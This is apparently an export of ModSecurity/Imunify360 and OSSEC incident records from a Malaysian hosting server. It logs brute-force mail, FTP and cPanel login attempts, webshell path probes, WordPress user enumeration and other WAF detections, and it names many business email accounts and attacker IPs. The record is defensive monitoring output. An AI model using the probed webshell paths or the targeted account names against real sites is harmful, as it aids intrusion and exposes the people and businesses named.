# incident

plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/sliders/eco.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.15
country_id: 1733045
description:
2026-01-31 20:11:43 dovecot_login authenticator failed for H=([49.124.153.15]) [49.124.153.15]:40338: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 20:11:51 H=([167.148.167.71]) [167.148.167.71]:52589 F=<Support@cordage.com.my> rejected RCPT <purchasing@cordage.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-01-31 20:11:53 dovecot_login authenticator failed for H=(64-49-97-15.protekweb.com) [64.49.97.15]:48718: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:11:04 dovecot_login authenticator failed for H=(s6NZsKdRz) [158.94.208.175]:57681: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:11:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50126: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 20:12:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account celine has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 20:12:45 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:65295: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 20:13:02 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:33000: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:12:10 dovecot_login authenticator failed for H=(rrSsj1) [158.94.208.175]:51606: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-01-31 20:12:13 dovecot_login authenticator failed for H=(uSN0ZYyN) [146.70.146.50]:64652: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:12:13 dovecot_login authenticator failed for H=(jfD3KN8) [45.94.31.131]:50610: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:13:14 dovecot_login authenticator failed for H=(pIlkZvX5) [45.94.31.131]:57498: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:13:10 dovecot_login authenticator failed for H=(MMeb1uSDF) [158.94.208.175]:52853: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: aircarbonic.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/aircarbonicadmin/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-31 20:13:32 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:12382: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 20:13:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account celine has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 1.178.208.107
country_id: 6254930
description:
Jan 31 20:14:32 sv3 pure-ftpd[225166]: (?@1.178.208.107) [WARNING] Authentication failed for user [sham@dsc-expat.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:14:05 dovecot_login authenticator failed for H=(dbMQQy) [158.94.208.175]:57781: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 20:14:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account celine has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:14:13 dovecot_login authenticator failed for H=(WZkghCuYfo) [45.94.31.131]:53264: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.178.208.107
country_id: 6254930
description:
2026-01-31 20:14:39 dovecot_plain authenticator failed for H=([127.0.1.1]) [1.178.208.107]:46048: 535 Incorrect authentication data (set_id=sham@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.75.24.242
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.118.195
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=449403 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.65.46
country_id: 2017370
description:
2026-01-31 20:14:04 dovecot_login authenticator failed for H=(est.giport.ru) [82.208.65.46]:3862: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 20:14:16 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:46280: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.58.129.9
country_id: 895949
description:
2026-01-31 20:15:26 dovecot_plain authenticator failed for H=(E7G74M1Q) [165.58.129.9]:44750: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.247.58
country_id: 3469034
description:
2026-01-31 20:15:16 dovecot_login authenticator failed for H=([186.238.157.140]) [187.9.247.58]:55231: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:15:24 dovecot_login authenticator failed for H=(zeUIPUT) [158.94.208.175]:51254: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.160.139.163
country_id: 2510769
description:
2026-01-31 20:15:31 dovecot_login authenticator failed for H=(163.pool90-160-139.dynamic.orange.es) [90.160.139.163]:34328: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 20:15:01 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:32966: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.93.201.42
country_id: 1269750
description:
2026-01-31 20:15:02 dovecot_login authenticator failed for H=([103.93.201.42]) [103.93.201.42]:41457: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 20:15:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account celine has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:15:08 dovecot_login authenticator failed for H=(RKLkbU) [158.94.208.175]:55268: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:15:13 dovecot_login authenticator failed for H=(ImpI2LKF) [45.94.31.131]:65477: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:15:42 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56590: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-31 20:16:13 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:44498: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 20:16:24 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:45681: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:16:49 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55482: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:16:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51904: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:16:10 dovecot_login authenticator failed for H=(PJE42n8) [158.94.208.175]:57204: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:16:14 dovecot_login authenticator failed for H=(0i5T9N) [45.94.31.131]:51979: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.154.143
country_id: 337996
description:
2026-01-31 20:16:19 dovecot_plain authenticator failed for H=(15WC133) [196.189.154.143]:1938: 535 Incorrect authentication data (set_id=jasonkua@printspecsolution.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-31 20:16:41 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:46426: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:17:14 dovecot_login authenticator failed for H=(8bmoyvhqm5) [45.94.31.131]:60840: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.54.150
country_id: 1814991
description:
2026-01-31 20:17:58 dovecot_login authenticator failed for H=([61.169.54.150]) [61.169.54.150]:57763: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.54.40
country_id: 453733
description:
2026-01-31 20:17:09 dovecot_login authenticator failed for H=40-54-166-83.dyn.estpak.ee [83.166.54.40]:58149: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.95.198.138
country_id: 1269750
description:
2026-01-31 20:17:24 dovecot_login authenticator failed for H=(dsl-kk-static-static-138.198.95.61.airtelbroadband.in) [61.95.198.138]:35388: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:17:06 dovecot_login authenticator failed for H=(LUD5qpjy) [158.94.208.175]:60382: 535 Incorrect authentication data (set_id=rosliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-31 20:17:26 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:47200: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.42.190.241
country_id: 6252001
description:
2026-01-31 20:17:42 dovecot_login authenticator failed for H=host241.sub-63-42-190.myvzw.com [63.42.190.241]:54963: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-01-31 20:17:51 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:52390: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.72.93.189
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=913007 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:17:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61135: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:18:13 dovecot_login authenticator failed for H=(6hbdlOzV) [158.94.208.175]:59489: 535 Incorrect authentication data (set_id=rosliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-31 20:18:27 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:41760: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 149.50.97.212
country_id: 798544
domain: fkr.com.my
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:18:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59677: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:18:14 dovecot_login authenticator failed for H=(BGvFN6kJFA) [45.94.31.131]:58105: 535 Incorrect authentication data (set_id=celine)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.206.125
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=41951515122758 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.116.165
country_id: 3144096
description:
2026-01-31 20:18:17 dovecot_login authenticator failed for H=(cm-178.232.116.165.get.no) [178.232.116.165]:36175: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:19:22 dovecot_login authenticator failed for H=(2DzI26bTs) [158.94.208.175]:57507: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 20:19:15 dovecot_login authenticator failed for H=(c2k2hZ64) [45.94.31.131]:65460: 535 Incorrect authentication data (set_id=celine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-31 20:19:24 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:29152: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 20:19:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account celine has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.10.98.29
country_id: 1643084
description:
[2026-01-31 20:20:45 +0800] info [cpaneld] 182.10.98.29 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:20:08 dovecot_login authenticator failed for H=(x3IvuMw) [158.94.208.175]:65509: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-31 20:20:08 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:40024: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.168.71.109
country_id: 1835841
description:
2026-01-31 20:21:56 dovecot_login authenticator failed for H=([112.168.71.109]) [112.168.71.109]:45122: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:21:20 dovecot_login authenticator failed for H=(X3sDrX) [158.94.208.175]:54061: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.59.76
country_id: 2328926
description:
2026-01-31 20:21:52 dovecot_login authenticator failed for H=(XStotbG8L) [197.211.59.76]:32372: 535 Incorrect authentication data (set_id=nicholas@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.199.216.242
country_id: 2017370
description:
2026-01-31 20:22:10 dovecot_login authenticator failed for H=(static-217-199-216-242.tel.ru) [217.199.216.242]:54529: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.172.15.103
country_id: 3469034
description:
2026-01-31 20:22:21 dovecot_login authenticator failed for H=(177-172-15-62.user.vivozap.com.br) [177.172.15.103]:57947: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:22:34 dovecot_login authenticator failed for H=(Nk5NpKFc) [158.94.208.175]:59775: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.59.76
country_id: 2328926
description:
2026-01-31 20:22:04 dovecot_login authenticator failed for H=(Irni3qE7a) [197.211.59.76]:32373: 535 Incorrect authentication data (set_id=nicholas@kendek.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:22:05 dovecot_login authenticator failed for H=(9o5UFLA7Xz) [158.94.208.175]:60740: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.249.7.12
country_id: 953987
description:
2026-01-31 20:23:01 dovecot_plain authenticator failed for H=8ta-249-7-12.telkomadsl.co.za (P1G39) [102.249.7.12]:46180: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.71||T:APACHE||MV:/blog/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:23:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54146: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.59.76
country_id: 2328926
description:
2026-01-31 20:23:12 dovecot_login authenticator failed for H=(rORHsV) [197.211.59.76]:32376: 535 Incorrect authentication data (set_id=nicholas@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:23:22 dovecot_login authenticator failed for H=(VzbqJu6) [158.94.208.175]:58679: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:24:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52905: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:24:19 dovecot_login authenticator failed for H=(eMnayG) [158.94.208.175]:56668: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.242.201.229
country_id: 298795
description:
2026-01-31 20:24:39 dovecot_login authenticator failed for H=([178.242.201.229]) [178.242.201.229]:48748: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:24:45 dovecot_login authenticator failed for H=(jDoTlUqdMT) [137.220.199.220]:64575: 535 Incorrect authentication data (set_id=png-sales@mckd.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:24:50 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57226: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Special shell symbol in request||MV:{@Banyuanyar2022@}||MVN:ARGS:pwd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.56.0.19
country_id: 3469034
description:
2026-01-31 20:24:50 dovecot_login authenticator failed for H=(189-56-0-19.customer.tdatabrasil.net.br) [189.56.0.19]:45201: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:25:05 dovecot_login authenticator failed for H=(y8d4OV) [137.220.199.220]:64885: 535 Incorrect authentication data (set_id=png-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.123.219.82
country_id: 6252001
description:
2026-01-31 20:25:10 dovecot_login authenticator failed for H=ool-457bdb52.dyn.optonline.net [69.123.219.82]:39545: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-31 20:25:14 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:39476: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:25:41 dovecot_login authenticator failed for H=(QXuY4aSteo) [158.94.208.175]:52895: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-01-31 20:25:43 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:45096: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/radioactive.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 20:25:51 H=([167.148.167.71]) [167.148.167.71]:51842 F=<Support@euratech.com.my> rejected RCPT <rohaidaak@euratech.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:26:20 dovecot_login authenticator failed for H=(lxgrTCr1X) [137.220.199.220]:50176: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:26:22 dovecot_login authenticator failed for H=(MyG8AH) [158.94.208.175]:54508: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.29
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/good/446/482990 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:27:53 dovecot_login authenticator failed for H=(G8OHSu) [137.220.199.220]:53001: 535 Incorrect authentication data (set_id=png-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:27:35 dovecot_login authenticator failed for H=(1JmONw83m) [158.94.208.175]:53176: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 20:27:12 H=([167.148.167.71]) [167.148.167.71]:58344 F=<Support@af-sb.com> rejected RCPT <roz@af-sb.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:27:17 dovecot_login authenticator failed for H=(8zy7Q2b) [137.220.199.220]:51577: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:27:25 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50453: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.220.97.188
country_id: 6252001
description:
2026-01-31 20:28:37 dovecot_login authenticator failed for H=c-98-220-97-188.hsd1.il.comcast.net [98.220.97.188]:39550: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:28:11 dovecot_login authenticator failed for H=(shAorQg9) [158.94.208.175]:62077: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:28:06 dovecot_login authenticator failed for H=(p4zCsHM67) [137.220.199.220]:53169: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.149
country_id: 1733045
description:
2026-01-31 20:28:25 dovecot_login authenticator failed for H=([49.124.152.149]) [49.124.152.149]:52170: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
